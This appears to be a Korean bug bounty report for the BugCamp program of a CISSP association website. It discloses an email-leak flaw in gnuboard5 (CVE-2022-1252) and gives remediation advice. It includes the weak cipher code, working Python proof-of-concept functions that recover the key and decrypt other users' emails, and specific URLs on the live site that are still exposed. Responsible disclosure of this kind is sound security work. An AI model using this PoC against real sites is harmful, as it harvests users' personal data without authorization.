취약점 유형
상세내용
개요
https://isc2chapter.kr/bbs/new.php 에서 사용자의 아이디 검색을 통해 메일 보내기를 했을 때 email 파라미터의 암호화가 안전하지 않아 사용자의 email이 유출된다.
재현 과정
- 비 로그인 상태에서 https://isc2chapter.kr/bbs/new.php?gr_id=&view=&mb_id=0 접속하면 아이디 검색을 통해 유저의 글을 확인 할 수 있다.
-
메일 보내기를 누를 시 https://isc2chapter.kr/bbs/formmail.php?mb_id=aassdd&name=aassdd&email=lZGrqMjJccbDq9edymGUltfZnJg= (test 계정)의 email이 암호화되어 나오는데 취약한 암호화 함수가 사용되고 있어서 내 메일과 암호화된 값을 통해 Key를 알아 낼 수 있다. 알아낸 키로 다른 사용자의 암호화된 메일을 복호화 할 수 있다.
-
로그인도 하지 않은 허가되지 않은 사용자가 다른 사용자의 개인 메일을 수집할 수 있게 된다.
예상되는 취약점 발생 원인
email을 암호화화 하는 함수가 보안에 취약한 로직을 사용해서 발생한다.
또한 cve가 발표됐음에도 패치를 하지 않기 때문에 취약점이 발생한다.
패치 방법
비로그인 사용자는 https://isc2chapter.kr/bbs/formmail.php 과 같은 페이지에 접근했을 때 403를 반환해주게한다.
타 암호화 로직을 적용한다.
또는 사용하지 않는 기능처럼 보이기 때문에 프론트 엔드로 넘어오는 메일들을 주석처리한다.
예상 결과 및 파급력
사용자의 메일 정보를 모두 수집할 수 있으니 개인 정보 유출 문제와,
해당 사이트 이용자들에게 관련된 악성 이메일을 보내 2차 피해를 유발할 수 있다.
기타사항 및 레퍼런스
https://www.cvedetails.com/cve/CVE-2022-1252/
https://0g.vc/posts/insecure-cipher-gnuboard5/ 관련 POC
시연 이미지
첨부파일
타임라인
취약한 부분이 발생하는 함수는 다음과 같습니다.
이메일을 암호화하여 프론트 엔드에 보낼때 다음과 같은 로직 처리가 됩니다.
char에는 메일이 한글자씩 들어가고 keychar은 salt 특정 부분값이 들어갑니다
후에 char과 keychar 값을 더한 값으로 암호문을 만듭니다.
return 직전에 base64 인코딩을 해주고 +/= 문자를 각각 ._- 로 치환해줍니다.
function encrypt($str)
{
$length = strlen($str);
$result = '';
for($i=0; $i<$length; $i++) {
$char = substr($str, $i, 1);
$keychar = substr($this->salt, ($i % $this->length) - 1, 1);
$char = chr(ord($char) + ord($keychar));
$result .= $char;
}
return strtr(base64_encode($result) , '+/=', '._-');
}
따라서 PoC 코드는 다음과 같습니다.
본인의 평문 메일과 암호화된 메일을 역연산해주면 keychar을 얻을 수 있습니다.
#PoC_1 get key
def get_key(encoded,decoded):
bytes_encoded = base64.b64decode(encoded.replace('.', '+').replace('_', '/').replace('-', '='))
bytes_decoded = bytearray(decoded,"utf-8")
i = 0
output = ""
for b in bytes_encoded:
output += chr(b-bytes_decoded[i])
i += 1
return output
이후 얻은 키로 다른 사용자의 암호화된 이메일을 복호화 합니다
#PoC_2 decoding encrypted email
def decode_email(encoded):
encoded = encoded.replace('.', '+').replace('_', '/').replace('-', '=')
encoded_bytes = base64.b64decode(encoded)
output = ""
i = 0
for b in encoded_bytes:
output += chr(b - ord(key[i]))
i += 1
if i == len(key):
i = 0
return output
https://isc2chapter.kr/bbs/new.php에서 메일 보내기 및 메일의 암호화된 값을 프론트엔드에 뿌려주는 부분을 패치하신것 같아 보입니다.
https://isc2chapter.kr/bbs/new.php 에서는 해당 내용이 패치됐으나,
https://isc2chapter.kr/bbs/new.php?gr_id=&view=&mb_id=0&page=3 또는 https://isc2chapter.kr/bbs/new.php?gr_id=&view=&mb_id=aaawww 등 인자를 넘겨주고 받는 response에는 메일 보내기 및 암호화된 값이 프론트엔드에 노출되며 마찬가지로 복호화 또한 가능합니다. 확인부탁드립니다.
버그캠프 “한국CISSP협회 대표홈페이지” 프로그램에 참여해주셔서 감사드립니다.
해당 프로그램은 취약점 개념 증명 코드를 제보시 포함해달라고 명시되어있습니다.
보상에서 제외하는 경우
티켓 내용 또는 코멘트에 개념 증명 코드를 추가해주실 수 있나요??